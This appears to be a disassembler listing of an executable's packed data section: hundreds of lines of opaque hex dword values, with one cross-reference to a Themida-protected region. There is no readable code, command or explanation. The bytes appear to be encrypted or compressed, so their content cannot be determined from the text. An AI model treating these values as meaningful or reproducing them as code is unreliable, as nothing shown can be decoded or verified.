		dd 3E6A3BB7h, 1574F834h, 0EE088832h, 0F7D867CBh, 0B34F161Bh
		dd 0C5B80D83h, 291150D2h, 156649DBh, 2518E432h,	9C2191B0h
		dd 93BED13Eh, 0AD36C494h, 6B033461h, 0E264F1F3h, 20B67FE2h
		dd 0ECF21D7Fh, 1A3EE533h, 156632BEh, 1F8EE832h,	0EB664432h
		dd 46181949h, 0EF3B3D1Ah, 198FD20Fh, 6E664432h,	4ABC61A0h
		dd 7B490F0Ah, 7473BC07h, 8D5BC109h, 90692400h, 1566116Dh
		dd 0E4E303CAh, 75606F2Ch, 156636DAh, 4F9A8E32h,	25A0AA71h
		dd 35AD0808h, 0CF54EF21h, 0A27A497Ah, 4A053BEAh, 15664ADAh
		dd 0CBA6F032h, 98741B9Eh, 9A50EAF0h, 0FC2D4881h, 1566223Ch
		dd 0B510A46Ch, 99850294h, 0B465D297h, 743DDEABh, 1567A962h
		dd 0D2678832h, 1563AD6Ah, 0B7DA2232h, 2E3BB9BAh, 27FECDB7h
		dd 45E34B34h, 1A662232h, 156616BEh, 14E78732h, 0E0664432h
		dd 1DA7A7B9h, 9C691719h, 15668821h, 156BCC3Dh, 1D8F2232h
		dd 48661132h, 0EC9217A5h, 45729F84h, 0CC3D988Ah, 168ED059h
		dd 59738B07h, 9F630461h, 3CC7EAF3h, 0FC9E49F5h,	15668835h
		dd 5014EDFBh, 2E6173F4h, 27FE58B7h, 54E38734h, 1A664432h
		dd 156623B1h, 1A06E932h, 156683B0h, 1563AC32h, 1F4D2232h
		dd 4F1BBD95h, 748A79B2h, 91BC1B9h, 92932419h, 0EA8B90DDh
		dd 929977CDh, 1568ADDDh, 96C62232h, 0A0B7530Ah,	89037D2Dh
		dd 0C255924Fh, 8D2BA709h, 90691700h, 1566880Ah,	0AF00BD52h
		dd 9E07B323h, 3E7F94B7h, 156A6134h, 69FE4432h, 0E6B6A560h
		dd 0F7ECFE66h, 0A833DB0Fh, 1075117Fh, 0C091FFC5h, 7136F4B3h
		dd 0F8E7A78Bh, 10770073h, 0EC3BCD1Bh, 8D379409h, 90698E00h
		dd 1566440Bh, 156EA23Dh, 93691132h, 15668830h, 95692552h
		dd 15662239h, 156617DBh, 9AECF232h, 9E5C28F5h, 3E4293B7h
		dd 11E21E34h, 75668832h, 400795B9h, 0EA99DD8Fh,	488938CDh
		dd 40E3B3C7h, 1A6076AAh, 156664B7h, 1569F832h, 44138832h
		dd 68DC8166h, 1A3871E6h, 2D8BAC28h, 7CE3030Eh, 75606F2Fh
		dd 0A03BCCB3h, 9F6905A9h
		dd 15668839h, 156641DAh, 0DFD2D132h, 74395C62h,	15673062h
		dd 0D2674432h, 0CCE6426Ah, 0D6E77730h, 2E07BB0Ch, 27FE1DB7h
		dd 38E32D34h, 0E9661132h, 8CF0DB9h, 91694219h, 15662220h
		dd 156A903Dh, 128F8832h, 3C664432h, 805297D6h, 449F9DE5h
		dd 1566898Bh, 4CA94532h, 74B99252h, 8D3B9409h, 90698E00h
		dd 15664457h, 156636DBh, 0B397F832h, 2A274C7Bh,	4560FC67h
		dd 9C9DFC7Bh, 0F11ADB8Ah, 157661ECh, 0BA2C4432h, 0EBDB27F9h
		dd 3DAA6E01h, 98F92E6Dh, 90ED8CDFh, 134D0253h, 156602DBh
		dd 5FDAC032h, 31D92888h, 26D7A59Bh, 4DB2558Ah, 0DD33073Ah
		dd 1567FD63h, 0DA672232h, 138E716Bh, 0AE668832h, 5EEC5A9Fh
		dd 4A3D7233h, 70E32A53h, 1A60BAAAh, 156606B7h, 1575CB32h
		dd 0FE4A1132h, 21E65CFh, 2C64A5B1h, 0EC149740h,	784FFC66h
		dd 58E30309h, 1A606F29h, 156630B6h, 156BF832h, 96658832h
		dd 6DDDD29Fh, 0E6DE3A17h, 82DF850Eh, 4A36DF72h,	1A9F246Ah
		dd 2E07F085h, 27FE70B7h, 5EE38734h, 0EC664432h,	0A4DBA1C7h
		dd 15603A39h, 155A0D3Dh, 9E934432h, 3E4687B7h, 94007134h
		dd 1A5242F8h, 15665CBEh, 1574CA32h, 0DB0D1132h,	7A427D6Eh
		dd 7AE9E6DFh, 457B575Ch, 2C416514h, 0AF34E969h,	2B3159C1h
		dd 894D0B3h, 0C2672F65h, 0A8E57068h, 134D448Fh,	2AE22D32h
		dd 1A661132h, 15668FB8h, 14EC4B32h, 0EC662232h,	8D8B9409h
		dd 90698E00h, 15664414h, 0FBE742CBh, 0BCE3782h,	9E0750B9h
		dd 3E7E89B7h, 1560CB34h, 775A1132h, 3D2C32D2h, 0EA99FA64h
		dd 0E24FDDCDh, 0A8E5ED6Ch, 134DA347h, 40E24B32h, 75662230h
		dd 15609A3Dh, 9F698832h, 15664432h, 401D9D54h, 80DB9253h
		dd 1560A31Eh, 1750C03Dh, 99692232h, 15661126h, 156687DBh
		dd 24F21032h, 3068FA63h, 0DCE76EECh, 112D5DCh, 8DB7C109h
		dd 90692400h, 1566116Ah, 156687DBh, 0D0736932h,	0F290A663h
		dd 7F3C3C23h, 2C4D2DC9h, 273FC1B9h, 0FC062419h,	1566113Ch
		dd 0D3A02864h, 63A8A12Eh, 0CE84D219h, 9D69BB52h, 15668834h
		dd 1566CF3Dh, 40072232h, 1566108Fh, 48898932h, 15664BDBh
		dd 46B7FA32h, 0C6E46437h, 4077B7AFh, 83425248h,	8D87A709h
		dd 90691700h, 15668850h, 156650DBh, 0F8310832h,	600D53A8h
		dd 347A2A3Ah, 11989080h, 80C6E99h, 9A69710Dh, 15668830h
		dd 7493BFB9h, 3C1BA7B9h, 78F1719h, 0C668832h, 38ADB3E4h
		dd 25F062CEh, 8D61F9D8h, 5145176Eh, 14DC1663h, 14662232h
		dd 68F4BE5h, 0B0668832h, 4B3F2E42h, 0D0C90607h,	0C5135251h
		dd 0FF543543h, 905D7160h, 1354BAE7h, 1546943Dh,	0E9938832h
		dd 135FC1B9h, 95062419h, 47079AF2h, 0EA997788h,	4FB16DCDh
		dd 156627DBh, 0DDA69D32h, 905D0D43h, 1354DCD7h,	1579A73Dh
		dd 9E9F1132h, 3E7D39B7h, 0AF34BC34h, 15662233h,	1A3CC633h
		dd 156680B0h, 17E14B32h, 75662232h, 0FCE32A53h,	1A60BAAAh
		dd 15667CB7h, 14EB2D32h, 0ED661132h, 39CF0DB9h,	9A694219h
		dd 15662223h, 15661DDBh, 3E45DC32h, 7416A69Dh, 0DFFA7E15h
		dd 29E1461Ah, 29E1CF16h, 0FC9F1B16h, 15662237h,	518BE08Ch
		dd 0CCE3B3D9h, 1A6076AAh, 156615B7h, 4EC1E32h, 0FC668832h
		dd 1566443Eh, 0D37581F4h, 0DE3A95B5h, 313D3522h, 327C1B9h
		dd 0E0062419h, 0EADD4253h, 3C9977CDh, 1D8F1FEDh, 28662232h
		dd 85EF8h, 0E0D31C0Ah, 8DBBC109h, 90692400h, 15661152h
		dd 157761CEh, 0C3F74432h, 0C5DDCC8Dh, 7A7A6135h, 9EEEF307h
		dd 9E6E5D45h, 3E602FB7h, 156EF834h, 64C8832h, 0F08CB30Dh
		dd 0E9060CFEh, 156617DBh, 0AD563C32h, 745F5569h, 3162DD65h
		dd 94422DB9h, 15668CF6h, 0E74B32h, 0FC662232h, 15661122h
		dd 7D39A70h, 20C0AECh, 314F50B7h, 3C657D1h, 39F335B1h
		dd 1A664219h, 156F85B6h, 1568F832h, 13C88832h, 0DC3302CCh
		dd 0D4BB3048h, 13356D15h, 8D0F0D09h, 90694200h,	15662258h
		dd 17E21E52h, 43668832h, 0C5E72269h, 0FC072F9Bh, 1566113Fh
		dd 622B6946h, 72151BA9h, 2455DA25h, 0ACE39A84h,	7560A318h
		dd 1560C63Dh, 0F3E72232h, 77D6D2F6h, 0AB30E9CAh, 15664433h
		dd 1A38D533h, 15661CB0h, 156E6132h, 0EE734432h,	8895056Ch
		dd 0FC063C2Dh, 1566883Dh, 0E594A94Dh, 8EBDB931h, 51B77241h
		dd 0A717EA6Dh, 905D25BCh, 1354BACFh, 1535943Dh,	0FD068832h
		dd 15664435h, 0A9E245B8h, 7390E4D4h, 463F57B9h,	156641DBh
		dd 0A5117E32h, 743F9D85h, 15670C3Dh, 9E934432h,	3E7843B7h
		dd 14E61E34h, 0E0668832h, 1567FD63h, 0DA672232h, 1575F86Bh
		dd 5C718832h, 13521469h, 0CD5429A6h, 6F66D90Bh,	5077C721h
		dd 78E37F91h, 1A6010AAh, 15667BB7h, 0C6ECE832h,	156641DAh
		dd 443EA132h, 1B8E8E93h, 8668832h, 4AE40D8Eh, 4C87EA62h
		dd 0D059A0E9h, 743ED6C1h, 4F3C1B9h, 1A8F2419h, 4A661132h
		dd 7B49960Ah, 13737007h, 0AD657DD9h, 1E8F6886h,	0AA668832h
		dd 945C4B4Ch, 0B9EC7B4Ch, 0AB30A724h, 15668833h, 7538B333h
		dd 74B8953Dh, 156F9A3Dh, 73068832h, 0B96D86B3h,	2E074352h
		dd 27FE60B7h, 3AE38734h, 1A664432h, 156633BBh, 1EE51E32h
		dd 0FC668832h, 15664434h, 0DB8A135Bh, 90ED74ADh, 134DA92Fh
		dd 0FBDC16C7h, 5F7A4433h, 0EB74E3B3h, 0C24F6BABh, 905DBD68h
		dd 1354BA47h, 1536943Dh, 138F8832h, 0F9664432h,	0A0758A7Ch
		dd 90EDE9BBh, 134DA147h, 1544CB3Dh, 0FC062232h,	1566113Dh
		dd 0C365B520h, 814A759Bh, 426DB59Bh, 0FD041AD6h, 15668834h
		dd 0C0F7598Eh, 74393F39h, 6CADAF64h, 0FBE78220h, 2887245Dh
		dd 0F3C5D4B3h, 0E24F22FCh, 905D706Ch, 1354DC4Bh, 1536A73Dh
		dd 188F1132h, 0D5668832h, 0F2690586h, 0E1E0E452h, 12803F24h
		dd 1ED735B1h, 1A664219h, 156613B7h, 90EDE432h, 134DBBBBh
		dd 1A9E24CAh, 156624BFh, 7BA59032h, 7434E26Ch, 3162BB65h
		dd 94421EB9h, 156615F6h, 128F7132h, 2C664432h, 7EF12BA0h
		dd 905DE51Ah, 1354104Fh, 157BC13Dh, 9E9F2232h, 3E4B20B7h
		dd 15606134h, 19174432h, 86972E93h, 3162EE65h, 9642B4B9h
		dd 2E9F40F6h, 27FEA3B7h, 59E31E34h, 1A668832h, 156645BEh
		dd 0A8E5DE32h, 134D1A83h, 2DE38732h, 0FC664432h, 15662238h
		dd 0DED90866h, 532FE047h, 90EDEB8Ch, 134D3C9Bh,	156619DBh
		dd 7D3BB232h, 8E9EEB53h, 0B0DF738Ch, 9424C021h,	0C4752CDBh
		dd 4CA94570h, 1567AE3Dh, 2E9E1132h, 27FE0DB7h, 75E34B34h
		dd 0E0662232h, 0D3D11E52h, 9E0778B8h, 3E6EC5B7h, 0AD36DB34h
		dd 15661133h, 0FC3E4F33h, 15664420h, 5C9ECF4Fh,	683F7A84h
		dd 26249AC3h, 0FF886831h, 9A6902B4h, 15661119h,	156B6052h
		dd 10174432h, 0ED59CCC9h, 11D596B9h, 4EAEEFFCh,	156655DBh
		dd 894E4132h, 0AB730DE4h, 4545C3CEh, 0BC19B23Eh, 2E070E2Ah
		dd 27FE98B7h, 57E38734h, 1A664432h, 156635B4h, 1574F832h
		dd 0ECA38832h, 0A4E4F737h, 4652E992h, 0F5BF038Ch, 0A1A12F79h
		dd 15EBC1B9h, 0A3062419h, 0DDED778Ch, 14DFD953h, 14664432h
		dd 1F8F7BFDh, 82661132h, 7F485AC5h, 0E8ED1A45h,	84E3197Fh
		dd 1A6023AAh, 1566B1B7h, 0E2E62432h, 969F43B2h,	3E6DA08Fh
		dd 90698834h, 15664414h, 68E3A9CEh, 0FC603A38h,	15668835h
		dd 19633CA9h, 457C8C27h, 1566108Ah, 4DA18932h, 9C69BD52h
		dd 15662233h, 905D70C7h
		dd 135410BFh, 1536C13Dh, 969A2232h, 3E6DA08Fh, 90698834h
		dd 15664470h, 156633DBh, 7C13C332h, 7C80A00Fh, 112FA23Ah
		dd 56FFBC4Eh, 90EDEBD9h, 134D884Fh, 156643DBh, 93C76432h
		dd 40E742DFh, 25923260h, 942472B6h, 7915AAF0h, 1384D052h
		dd 0A277AB3h, 0C267F81Bh
dword_5BA000	dd 905DDB68h, 135489A7h, 15570D3Dh, 9D694432h, 15662233h
					; DATA XREF: Themida_:0053D100o
		dd 70E39ACAh, 0FC60A306h, 1566443Ch, 0CD414FAFh, 298004A6h
		dd 5BB4DF2Bh, 0AC379684h, 0EA99DDCDh, 0E03FDE1Bh, 1567093Dh
		dd 2E934432h, 27FEBBB7h, 6CE31E34h, 0FC668832h,	15664439h
		dd 0D6C47B54h, 0ABAA4429h, 9E6ACAE7h, 3E4631B7h, 7EC2D34h
		dd 0FC661132h, 1566883Fh, 631027D0h, 8BD77AD1h,	0B41E6686h
		dd 128FE832h, 91664432h, 3BAAD2Bh, 0D7E74194h, 20C9F76Fh
		dd 73DF1553h, 94065E26h, 697276C3h, 4CA98952h, 0C5D92252h
		dd 156BCA5Eh, 0F6DE1132h, 0C664CBC8h, 45DD2A2Fh, 0FC04E6E6h
		dd 15661138h, 0A8A68FD2h, 4630CEB9h, 743C6572h,	8DFB9409h
		dd 90698E00h, 15664454h, 157FAC3Dh, 18F1132h, 84668832h
		dd 0EBF385h, 77BEA797h,	57773316h, 6DAFBBC2h, 9E4DC381h
		dd 3E6067B7h, 9ED1E34h,	1A668832h, 156652B2h, 1577CB32h
		dd 0A721132h, 0B7C8E528h, 89A57960h, 2E362A51h,	0FCC6E30Fh
		dd 15668822h, 29CDD054h, 0B61E7B5Eh, 35F69EAFh,	0E5D3801Ch
		dd 1567FD63h, 0DA672232h, 905DE46Bh, 13541093h,	1551C13Dh
		dd 0FC9F2232h, 15661122h, 565C4934h, 5CDF4CF0h,	2D77DA57h
		dd 29A81A62h, 39970DB9h, 439E4219h, 0EA99DD8Ch,	4B9138CDh
		dd 9169E8CBh, 15664431h, 73A49D3Dh, 0B28BD2B3h,	0B0E3B353h
		dd 1A6076AAh, 156605B7h, 90EDE832h, 134DBDF7h, 0EADB11CBh
		dd 3C99DDCDh, 48F4CDDh,	2B668832h, 0FAEDC424h, 0A6825DE9h
		dd 1549C181h, 2B02EEA9h, 8DCFC109h, 90692400h, 1566110Ch
		dd 156A043Dh, 91694432h, 15662234h, 15669A3Dh, 90ED8832h
		dd 134D65C3h, 156FAB3Dh, 73061132h, 1A9DF28Ah, 4707938Dh
		dd 8E1C5488h, 41849016h, 9431F762h, 0F1C9EFC0h,	4FB10BC9h
		dd 905DEDCEh, 1354109Fh, 1548C13Dh, 1C8F2232h, 0BB661132h
		dd 0ADE3CD79h, 922DC4E4h, 3453A7B9h, 95061719h,	44314AFFh
		dd 0EC071F69h, 15679A62h, 0D2671132h, 14E0876Ah, 0EC664432h
		dd 8DD7A709h, 90691700h, 15668806h, 34E3CFC7h, 0E960091Fh
		dd 2445A863h, 94279FDDh, 116DCFF3h, 8B87A317h, 94732B2Bh
		dd 277E07C3h, 4CA94526h, 156629DBh, 0E228C32h, 0F6568D16h
		dd 8FC92C0h, 13CBA709h,	90691719h, 15668813h, 14E3CFCEh
		dd 7560093Dh, 4A37E952h, 13E18753h, 94664432h, 4E1670D3h
		dd 96317071h, 4A99AC1Eh, 0A0E37FCEh, 1A6010AAh,	156653B7h
		dd 0C2D4E832h, 20E3CF53h, 0FC60093Fh, 1566113Bh, 0AB6794B0h
		dd 0CAFF0602h, 156DCB8Dh, 0B7D11132h, 1E179EB3h, 4DDDF2ABh
		dd 118AA32Bh, 9C661132h, 1199AC0Eh, 9F691B16h, 15662235h
		dd 15679B3Dh, 2E938832h, 27FEB5B7h, 71E32D34h, 1A661132h
		dd 156690BBh, 0FC9E2432h, 15662222h, 0A5894B52h, 0A8B184EDh
		dd 6E56C9BAh, 0C305A057h, 0ECDB9253h, 1560BAAAh, 1542C13Dh
		dd 1D8F2232h, 4F661132h, 6C3C1A22h, 96CB6BC1h, 3E6C0F8Fh
		dd 91691134h, 1566882Dh, 940024CEh, 9FEC1FC0h, 90ED70FAh
		dd 134D945Fh, 0CFD14B52h, 24891353h, 508920CFh,	2E9F67B5h
		dd 27FEB1B7h, 67E32D34h, 75661132h, 156686DBh, 0C953C232h
		dd 656F746h, 5B2CC9EFh,	1A7B946Ch, 156642B8h, 15EB2D32h
		dd 74661132h, 8D9F35B1h, 1A664200h, 15663FB7h, 0ED9A7132h
		dd 38DB0B53h, 15606F38h, 1555A63Dh, 128F1132h, 9A668832h
		dd 0A4E678ADh, 90ED3DE4h, 134D3AF3h, 15669ADBh,	450C2532h
		dd 7A23379Fh, 0E34E7C76h, 0E253CB91h, 452CBDD2h, 0EA99DD8Ah
		dd 4DA138CDh, 0ACE3B3CAh, 1A6076AAh, 15661BB7h,	90EDED32h
		dd 134D8EF3h, 0DCE72452h, 2657D830h, 0B82FAA53h, 0EC078D06h
		dd 1567F967h, 0FA672232h, 1572F86Fh, 70A8832h, 0CCDB6A3Dh
		dd 10176A8Bh, 0ED59FFC9h, 11D50FB9h, 905D23FCh,	1354BA8Fh
		dd 1543943Dh, 1A068832h, 0A269BB8Dh, 90ED43FAh,	134D235Fh
		dd 0EAD8DECEh, 3C99BBCDh, 73067CC5h, 0EF47FEB3h, 80C566B3h
		dd 2E0703DAh, 27FEE3B7h, 22E31E34h, 1A668832h, 156645B1h
		dd 9469DE32h, 1566113Ah, 0D6EDEE52h, 743881B2h,	3137A7B9h
		dd 91691719h, 1566883Eh, 1560CF3Dh, 91692232h, 15661132h
		dd 0EA993664h, 0E24FBBCDh, 905DD76Ch, 135489F7h, 15340D3Dh
		dd 0E99A4432h, 2797A7B9h, 108F1719h, 61668832h,	0EFD07BBh
		dd 0EA999F67h, 0FA4FEECDh, 18FE86Fh, 53664432h,	7FD74E06h
		dd 5B4F5D32h, 0B07886B1h, 0C763DA62h, 74560476h, 86D97752h
		dd 15776107h, 1FBD4432h, 0BD65EDC5h, 5618BABCh,	0AFD9CAD4h
		dd 748B33BDh, 8DAFA709h, 90691700h, 15668816h, 60E3CFC7h
		dd 1A600901h, 156610B9h, 0AF347032h, 0EA99BBCDh, 0FC3CF51Bh
		dd 15661135h, 6172FB8Ch, 0ECEFA0BFh, 8DABA709h,	90691700h
		dd 15668862h, 15664EDBh, 0C78532h, 31DC4353h, 9E6CA748h
		dd 3E4CFDB7h, 24DD4234h, 0FD38BFC5h, 15668826h,	5EFF528Bh
		dd 43D5BB5Ch, 0A7FAF538h, 0A11EFC33h, 7083198Bh, 4E46DD8Ch
		dd 45074F54h, 8C40738Ah, 1E4B0C73h, 202BC23Ch, 1920F622h
		dd 0E03E4F1Bh, 9169BB39h, 15662203h, 0CAED7752h, 15660E3Dh
		dd 0FC074432h, 0EA99CFE5h, 15661BDBh, 92424532h, 72CC9270h
		dd 1AD00B56h, 15661DB9h, 13E38732h, 1A664432h, 156622BEh
		dd 4E32A32h, 1A60A315h,	15666DB7h, 94004232h, 478024D2h
		dd 9AD956B3h, 743C5148h, 2985A7BFh, 9F691700h, 1566883Ah
		dd 1564C83Dh, 74062232h, 0EA8B93DBh, 905D70CDh,	134D51E7h
		dd 1539A73Dh, 969A1132h, 27FE918Fh, 90694534h, 15662263h
		dd 15661DDBh, 1D536232h, 4D6B47D0h, 9E1FA019h, 72E39CC4h
		dd 1A66D139h, 15664EBBh, 1563CB32h, 99A71132h, 0FCD79991h
		dd 0EA99A909h, 1579A83Dh, 9E691132h, 1566882Bh,	156650DBh
		dd 5BC12E32h, 0D9D20CC3h, 91AD587Dh, 0AC4E92E2h, 0E452531Bh
		dd 3CE32A39h, 1A60BAAAh, 156668B6h, 1577CB32h, 22651132h
		dd 0F31A24AAh, 89C7F807h, 0DFF2D52Bh, 2E683182h, 27FEA5B7h
		dd 34E34B34h, 75662232h, 7394AE3Dh, 0BF5D6AB3h,	0F9BFAD53h
		dd 9C69DDCDh, 1566113Eh, 1560043Dh, 95694432h, 15662232h
		dd 1566AA61h, 0CBEF8832h, 964258B9h, 969326F6h,	906910CCh
		dd 156688C3h, 15664CDBh, 7AEBE332h, 0DCA41BCEh,	8E3B31Bh
		dd 1A6076AAh, 156638B7h, 14EA1E32h, 0E0668832h,	92A2C1BFh
		dd 9369226Ah, 15661133h, 0F91B61CBh, 2E9ABBCDh,	27FE03B7h
		dd 42E31E34h, 0EC668832h, 156656DBh, 55E45232h,	658080EEh
		dd 0A9A60817h, 0BB768230h, 98E2A6DDh, 4DEE2BB7h, 1EE08732h
		dd 75664432h, 1566A03Dh, 0AA691132h, 298FE9CCh,	7599BBDEh
		dd 156629DAh, 0E2403432h, 0AA436129h, 0E26ED4D5h, 7AB2E8B3h
		dd 0FC3E00F1h, 15668837h, 0C06E8A6Dh, 905D43DEh, 13548917h
		dd 15290D3Dh, 1C8F4432h, 0D662232h, 9E7B4F83h, 529E8318h
		dd 941AF252h, 2303DAF4h, 90EB7039h, 153E004Dh, 1577AD52h
		dd 81422232h, 7EB501B3h, 0F47657D6h, 4FC275A3h,	1A47E969h
		dd 0FC07C78Dh, 0EA9963FDh, 156DC53Dh, 138F2232h, 0E7661132h
		dd 0F92F169Eh, 0D3EF1274h, 21EDD2BBh, 11A29216h, 17D9DFCEh
		dd 9C664432h, 315AA9CCh, 1562D5B3h, 1E9F8832h, 39E34BC4h
		dd 0E0662232h, 156D9B3Dh, 0AE068832h, 29EAA50Bh, 5D199C54h
		dd 0FE11F853h, 730677CDh, 6299AB3h, 74A5953Dh, 0AA697152h
		dd 730771CCh, 45078BB9h
		dd 384216B3h, 9E0E882Ah, 0D1E7AC06h, 15664436h,	0D4BD4B3h
		dd 926979ABh, 15668833h, 30D3CDCEh, 0ED600902h,	257FA4BBh
		dd 95938E19h, 9069AD0Ch, 15662287h, 9F1EAA52h, 0FEE6977Ah
		dd 9A6925FBh, 15662233h, 1410EECAh, 9442B4B9h, 156640F6h
		dd 94004232h, 95CBBFEDh, 94072FDBh, 0D1E59DDh, 8189A37Fh
		dd 142B9A1Ah, 81A109C5h, 942BCF1Ah, 0D1E3FF5h, 0F9E7E87Fh
		dd 15668836h, 4E4270BBh, 1576A53Dh, 73061132h, 108E59B9h
		dd 40664432h, 0E5E65741h, 0AC37706Bh, 0B59A2E3h, 5D08B5B3h
		dd 0D4E7541Ch, 8288CC73h, 19ED4333h, 11A2C716h,	30DB19CAh
		dd 1A603A02h, 15669DB0h, 1561AD32h, 0F932232h, 8769D7F9h
		dd 1A9DB3BDh, 15665CB4h, 9F8FDA32h, 1A99EED8h, 156684BBh
		dd 13EE4B32h, 1A662232h, 156611B9h, 30DB0332h, 75606F27h
		dd 9E69D9B9h, 15661134h, 1566043Dh, 0D2074432h,	3E48C7B7h
		dd 15661134h, 15756132h, 0EE7B4432h, 0E87735B4h, 0B1595BB9h
		dd 1AB0A92Ah, 0C4BE9E10h, 0FC06DE61h, 1566113Bh, 0E38A9191h
		dd 1F2E882Dh, 0CD3AB94h, 1A603A02h, 15669CBCh, 1569AD32h
		dd 0F0332232h, 0B1B2E1DFh, 0F7DD58EDh, 0E47DDB36h, 6EFBAF72h
		dd 0EC60222Ah, 15606152h, 5C184432h, 2957BB3Eh,	0EA07E2B9h
		dd 9E00E8E1h, 0D56D25E5h, 157DA63Dh, 97691132h,	15668833h
		dd 15F5ADCBh, 1F8F2232h, 0FE661132h, 0AB24D7D6h, 98125041h
		dd 43FBAFD6h, 0FC60219Fh, 15668826h, 5FD2376Ch,	0F2F880B0h
		dd 0F75F833Bh, 0E05D4038h, 0FC32C11Bh, 9669F1CDh, 0EA99EE4Bh
		dd 156698DBh, 98297B32h, 8B54EBAFh, 0DDBCA345h,	81E8B359h
		dd 0CD3CF01h, 0E9600902h, 3B83A4BBh, 0E0938E19h, 0A01DD9BFh
		dd 9E692403h, 15661137h, 14D37152h, 1AB5BB53h, 156602B9h
		dd 68E7132h, 0A4668832h, 48987B76h, 64EB7976h, 18FDACE2h
		dd 97194132h, 0AB3F7BB7h, 2C5F456Eh, 30E39A53h,	1A60A302h
		dd 156645B0h, 90EFDB32h, 134D212Bh, 15610A3Dh, 9A694432h
		dd 15662233h, 58F70CEh,	9C668832h, 0F80CF8DAh, 715BAFDDh
		dd 3EC460BDh, 75F4D65Eh, 156649DBh, 0E58D6332h,	11A57410h
		dd 0B3A7F26Ch, 9507266Bh, 9069CA0Ch, 156611FFh,	15E38752h
		dd 73664432h, 74428289h, 3097ACB1h, 1A668E19h, 1566F0B6h
		dd 0F9E7D732h, 15661136h, 0A44284BBh, 3DB3F4DEh, 1C8F7BFAh
		dd 27661132h, 343825C9h, 0EAAE4EEh, 94694298h, 15661133h
		dd 10E987CEh, 73664432h, 2B2BEDB3h, 0E4EF4053h,	314A0963h
		dd 70470630h, 5764276Ah, 0E93F7413h, 1562013Dh,	9F064432h
		dd 0F6343EEh, 3C462B30h, 2BD9DFCAh, 946F8822h, 0BE3611F5h
		dd 0D4B9E643h, 0D2E78AD5h, 1B71C7ECh, 1A39DA1Bh, 156610B4h
		dd 0AC377432h, 15664436h, 7B0F461Fh, 10AE3843h,	6408E156h
		dd 0CDDD246Bh, 9F200834h, 1ACD70CBh, 156684BDh,	7FDE2432h
		dd 0AD537BF1h, 14383044h, 17226153h, 1A064432h,	7493E38Dh
		dd 0E4FB9CCBh, 0E960BACDh, 75B5BBC7h, 0BB611E8Bh, 0EEBC9030h
		dd 7416C412h, 0D8FBC9CEh, 0FC601121h, 1566113Ch, 0DED842D0h
		dd 0F080E848h, 673D2102h, 0C699C31Dh, 15720B3Dh, 0E0064432h
		dd 15662EDBh, 4F8DF232h, 0FCEF224Ah, 9C953799h,	75064372h
		dd 15C0DE8Bh, 15E9875Ch, 74664432h, 1563A33Dh, 94001132h
		dd 74D951D4h, 90698439h, 15662227h, 155AF8C7h, 1F8F8832h
		dd 0C4664432h, 6317D914h, 64567236h, 0CE30B2Fh,	10606F02h
		dd 0C2D92D52h, 7BDC7760h, 0FC07D6ACh, 0EA99BABDh, 156633DBh
		dd 0B78ECE32h, 62ACBD0Eh, 21E25B0Ch, 0CEE181A8h, 88EBD3E5h
		dd 13559DDFh, 156648DBh, 0BEC13D32h, 58F7F4F3h,	0C017F015h
		dd 0FCB5BBD9h, 15662239h, 1EB52127h, 70AE0C31h,	1E9B9403h
		dd 0BE32DF2h, 0FC661132h, 15668821h, 0A369EE7Ch, 0F9CC0F53h
		dd 0BD9640ABh, 0B7A384E7h, 0FC9F8505h, 15662276h, 11DE41CBh
		dd 14668832h, 3162CFF0h, 7562E6B1h, 0A1A9AE3Dh,	368FE9A6h
		dd 75664433h, 1562A43Dh, 0AB001132h, 7507FE4Dh,	7C74FD54h
		dd 156630DBh, 12B3F432h, 0FE89530Dh, 1902D8C4h,	89FDC418h
		dd 74747BE9h, 0B83015BFh, 9D694202h, 15662233h,	1AB5EECAh
		dd 1566BBB1h, 0A0EDBC32h, 134D122Bh, 1576F8CEh,	69338832h
		dd 3B2BAACBh, 0C0288121h, 38BE9760h, 0BC8FD5A9h, 0FC66441Eh
		dd 1566223Eh, 0CC427E97h, 0D44B0600h, 5FC7E625h, 257FAFB9h
		dd 198F1719h, 0F668832h, 0E82F6547h, 2DA25881h,	1A813E3Fh
		dd 15668DBDh, 0C9E62432h, 0A0EF43F9h, 134D212Bh, 15668FDBh
		dd 6111C432h, 5394D174h, 1FCFF8B3h, 0E44FC7E9h,	5513FE60h
		dd 0FFE73774h, 0D00D24FEh, 753C5933h, 733CB161h, 9407E0B9h
		dd 156610DBh, 0FCB77F32h, 15664421h, 25813DE5h,	0BB57AAA7h
		dd 988BF80Ch, 0E13A3B71h, 9460C656h, 35260EF4h,	6688093Bh
		dd 3C0C975Eh, 66A0A3FCh, 940CC25Eh, 352697DCh, 0B195B13Bh
		dd 156AA83Dh, 73061132h, 94D96D8Dh, 87193EF3h, 0ED8F433Bh
		dd 1A99EECEh, 15668DB0h, 0C2ED2432h, 88EB43CEh,	1357A6F0h
		dd 156685DBh, 2DA09E32h, 928C2B9Dh, 2415C04Ah, 0C69902C4h
		dd 1573CE3Dh, 58F2232h,	47661132h, 0FA34BC8Eh, 57371FCAh
		dd 0F6F38A82h, 963554B3h, 29EF8CDEh, 3152C516h,	6F233437h
		dd 363246Ah, 759AF277h,	0C78D87B3h, 0DEE661C8h,	904D709Eh
		dd 134D9D17h, 0E6ED2252h, 1564A53Dh, 30D11132h,	20E30153h
		dd 0E0606F12h, 43A7B9h,	0FC931719h, 1566883Dh, 20BDD965h
		dd 0A5F2572Dh, 91522F38h, 7D0DB619h, 15660D9Ch,	0FC421EBBh
		dd 15661134h, 485C8BF3h, 9969255Ah, 1566223Bh, 0ADC7752h
		dd 0CFD187C3h, 2B052C53h, 11EF2232h, 12E41E16h,	1A668832h
		dd 156645B1h, 0FD06DB32h, 1566113Ah, 12F23AD3h,	0B19398B6h
		dd 753F7B64h, 118DF7B3h, 9B69B1B3h, 15664432h, 98EB4353h
		dd 1357AB52h, 15700C3Dh, 48F4432h, 0D3662232h, 2D5CE538h
		dd 2C2E7901h, 85C2F36Ah, 8DE5621Dh, 7506C0CDh, 1AB83F3Dh
		dd 156644B1h, 0AD004332h, 0FC07D5E5h, 15668838h, 69DBCBDh
		dd 203BEBCCh, 90EDADD3h, 134D868Fh, 156650DBh, 34421532h
		dd 10DDA818h, 91BCCE1Fh, 67B624B3h, 0F45EDAB4h,	749791Bh
		dd 11EF8832h, 156DAD16h, 0E3922232h, 25B6DFA5h,	0ECA8B6F6h
		dd 0F6EF17CAh, 1562E1B3h, 0FEE51132h, 317A0F36h, 315ACD6Eh
		dd 1E52DC7h, 0FC661132h, 1566883Dh, 0BECAF1FEh,	0A449C566h
		dd 98FA4419h, 9E1E8DAEh, 3E7361B7h, 156CCB34h, 6D621132h
